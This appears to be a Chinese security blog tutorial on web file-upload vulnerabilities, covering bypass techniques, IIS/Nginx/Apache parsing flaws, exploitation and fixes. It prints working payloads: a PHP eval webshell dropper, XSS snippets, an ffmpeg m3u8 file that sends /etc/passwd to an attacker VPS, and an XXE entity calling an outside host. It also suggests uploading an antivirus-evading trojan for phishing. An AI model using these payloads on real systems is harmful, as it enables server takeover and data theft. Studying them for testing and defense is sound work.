zoukankan      html  css  js  c++  java
  • 文件上传漏洞

    文件上传漏洞

    漏洞简介

    ​   文件上传,顾名思义就是上传文件的功能行为,之所以会被发展为危害严重的漏洞,是程序没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。文件上传漏洞是漏洞中最为简单猖獗的利用形式,一般只要能上传获取地址,可执行文件被解析就可以获取系统WebShell。​ 网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件甚至是可执行文件后门。​ 恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等。

    漏洞挖掘

    1.   常见文件上传点
      上传头像
      上传相册
      上传附件
      添加文章图片
      前台留言资料上传
      编辑器文件上传
      文件管理处文件上传
      前台用户发表文章处文件上传
    2. 文件上传漏洞条件

      上传的文件能被Web服务器当做脚本来执行(要想让上传文件被当成脚本执行,我们经常会和文件包含漏洞和文件解析漏洞一起利用)

      我们能够访问到上传文件的路径。我们需要根据经验和方法去寻找上传文件的路径,例如查看返回包,盲猜等。

    文件上传绕过

    我们都知道上传点一般都是做了过滤的,不可能一下子就成功上传脚本文件,我们还需要掌握一些绕过的技巧。

    1. 后端黑名单验证后缀绕过
      PHP:php2、php3、php5、phtml、pht(是否解析需要根据配置文件中设置类型来决定)
      ASP:asa、cer、cdx
      ASPX:ascx、ashx、asac、asmx
      JSP:jsp、jspx、jspf
    2. 前端黑、白名单验证绕过
      这种最简单,直接burp抓包,修改数据包里面后缀就行了。
    3. 后端白名单验证绕过
      00截断(%00和0x00)

    4. 绕过的类型
      Content-Type绕过
      前端绕过
      文件解析
      规则绕过(如.htaccess、.user.ini)

      Windows环境特性绕过(空格绕过,加在文件名后面;大小写;文件后缀名最后一个点.会被自动去除;如果上传的文件名中test.php::$DATA会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析;)
      文件名大小写绕过(Linux大小写敏感,windows不敏感)
      双写绕过
      点空格绕过(.和空格)
      文件头绕过(GIF89a)
      图片马+文件包含(copy 1.jpg/a + 1.txt/b 2.jpg)
      条件竞争绕过(有的网站是先上传再判断,所以在判断前就对上传的文件进行请求)......

    解析漏洞

    1. IIS5.0、6.0解析漏洞

      1、当创建.asp的文件目录的时候,在此目录下的任意文件,服务器都解析为asp文件。例如如下:
      漏洞目录利用形式:www.xxx.com/xx.asp/xx.jpg。
      xx.jpg的内容可以为一段合法的asp脚本文件。
      
      2、服务器默认不解析”;“以后的内容,导致xx.asp;.jpg被解析成xx.asp
      漏洞文件利用形式:www.xxx.com/xx.asp;.jpg
      xx.jpg的内容可以为一段合法的asp脚本文件。

      对于此问题,微软并不认为这是一个漏洞,同样也没推出IIS6.0解析漏洞的补丁。因此在IIS6.0的网站下,此问题仍然可以尝试是否存在。

    2. Nginx解析漏洞
      ​ 在低版本Nginx中存在一个由PHP-CGI导致的文件解析漏洞。

      ​ 在默认Fast-CGI开启状况下上传名字为xx.jpg,内容为: <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

      然后访问xx.jpg/.php,在这个目录下就会生成一句话木马shell.php。



    3. Apache解析漏洞

      ​ Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:

      www.xxxx.com/apache.php.bbb.aaa
      

      Apache从右至左开始判断后缀,若aaa非可识别后缀,再判断bbb,直到找到可识别后缀为止,然后将该可识别后缀进解析,因此如上地址解析为访问apache.php文件。





    文件上传利用手段

    1. 上传webshell。如asp、aspx、jsp、php后缀的网站脚本文件,通过访问上传的webshell执行系统命令,获取服务器权限。
    2. 上传HTML文件。构成xss。如:<script>alert('XSS')</script>。
      <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
    3. 上传PDF文件。利用方式:构造xss或url跳转的pdf文件上传
      新建一个空白页,在“页面属性”对话框单击“动作”标签,再从“选择动作”下拉菜单中选择“运行 JavaScript”命令,然后单击【添加】按钮,弹出 JavaScript 编辑器对话框。

      在弹出的对话框中输入代码:app.alert('XSS');  保存上传到网站上,使用浏览器访问成功执行了xss代码。

    4. exe文件。利用方式:上传exe到目标网站用于文件钓鱼
      制作免杀exe cs木马,上传到目标网站,通过社工手段进行文件钓鱼。
    5. mp4、avi文件
      利用方式:目标使用了ffmpeg有漏洞版本,上传mp4/avi进行文件读取/SSRF
      内容保存成test.avi,上传到被攻击服务器。
      #EXTM3U
      #EXT-X-MEDIA-SEQUENCE:0
      #EXTINF:10.0,
      concat:http://vps:port/header.m3u8|file:///etc/passwd
      #EXT-X-ENDLIST
      

        保存成header.m3u8,上传到公网vps

      #EXTM3U
      #EXT-X-MEDIA-SEQUENCE:0
      #EXTINF:,
      http://vps:port?

      访问上传的avi文件,vps接收到访问日志

    6. shtml文件
      利用方式:如果目标服务器开启了SSI与CGI支持,可以上传shtml文件,执行ssi命令。
      搭建测试环境:
      打开apache的配置文件httpd.conf。找到 LoadModule ssl_module modules/mod_ssl.so 命令,去掉注释。
      去掉
      AddType text/html .shtml
      AddOutputFilter INCLUDES .shtml
      的注释。
      Indexes 或FollowSymLinks修改为:
      Options +Indexes +FollowSymLinks +ExecCGI +Includes +IncludesNOEXEC
      修改vhosts文件 增加Includes。
      重启apache,上传shtml文件。
      成功执行了ssi命令。
    7. xlsx文件

        利用方式:当遇到接受Excel文件进行上传和处理的目标应用程序,则可能存在xxe漏洞。
        原理:现代Excel文件实际上只是XML文档的zip文件,称为Office Open XML格式或OOXML。
        当应用程序处理上传的xlsx文件时需要解析XML,如果解析器未做安全配置,则可能导致xxe漏洞。
        创建一个xlsx文档,更改后缀为zip,使用压缩工具解压缩。
        打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开,复制到粘贴板。
        找到Content_Types.xml文件,插入xxe代码到文件中。

    <!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gdx7uyvhtysav8fbqbp8xf5utlzcn1.burpcollaborator.net"> ]>
    <x>&xxe;</x>

          重新压缩为zip文件,更改后缀为xlsx。
         上传xlsx文档到目标服务器,如果没有禁用外部实体,就会存在XXE漏洞,burp接收到请求。

    漏洞修复:

    1. 客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等。
    2. 服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等。
    3. 如果是使用WEB中间件存在上传,或者是CMS存在文件上传漏洞,根据官方建议安装补丁升级版本,或者使用官方推荐的临时修改策略来限制问题的产生和利用。
    4.  服务器端上传目录设置不可执行权限。
    5. 将文件上传到单独的文件服务器,并且单独设置文件服务器的域名。

    参考链接:

    https://github.com/hongriSec/Web-Security-Attack/blob/master/Part1/Day5/files/README.md

    https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247484127&idx=1&sn=4472fdd8fc26aa94205c77e5234234b0&chksm=eaad82e2ddda0bf4a26406b0dd4e332d1bc9837b2dbe1ead1cb8b2c02b7aa607cb5a7961f9a7&scene=21#wechat_redirect

    https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247488917&idx=1&sn=f29da91a278595afd7cce678af53dae2&chksm=ce5e37f4f929bee2e5ae99711e3b3665ec69f674ddcad69b51989d43a5e819fd212d6aa7955e&scene=126&sessionid=1599642188&key=e3bce42fc7df434457579b2e8dfdab14bb7e053f9b7cce88efdaa20dac08c19be6b00f985617d608067cce5b114fa3c3c411194634f1d6c9b89e9a51e7da460193f2a7adcf09f8354dba7cb1eca4892a4296e578b20298ae2ec553aad2580beb89637474c0bf7810216534fe6233688176085e7eb7155369e6be15ae48c9ed0b&ascene=1&uin=MTUzOTg2MzkzMw%3D%3D&devicetype=Windows+10+x64&version=62090538&lang=zh_CN&exportkey=AR%2Fmpyod7EChaxCuq%2B7Hj%2F0%3D&pass_ticket=DoaAqpqf50A4me6WFhz%2F7mhEWw3P5y4KjqmKrHarWi8wly4ZCZYnxzXblCfl4fiI&wx_header=0

  • 相关阅读:
    共用体
    建立动态链表
    动态分配储存与链表
    结构指针变量作函数参数
    R语言实战 第7章
    R-6 线性回归模型流程
    R-5 相关分析-卡方分析
    R-4 方差分析
    R-3 t分布--t置信区间--t检验
    R-2
  • 原文地址:https://www.cnblogs.com/ly584521/p/13652314.html
Copyright © 2011-2022 走看看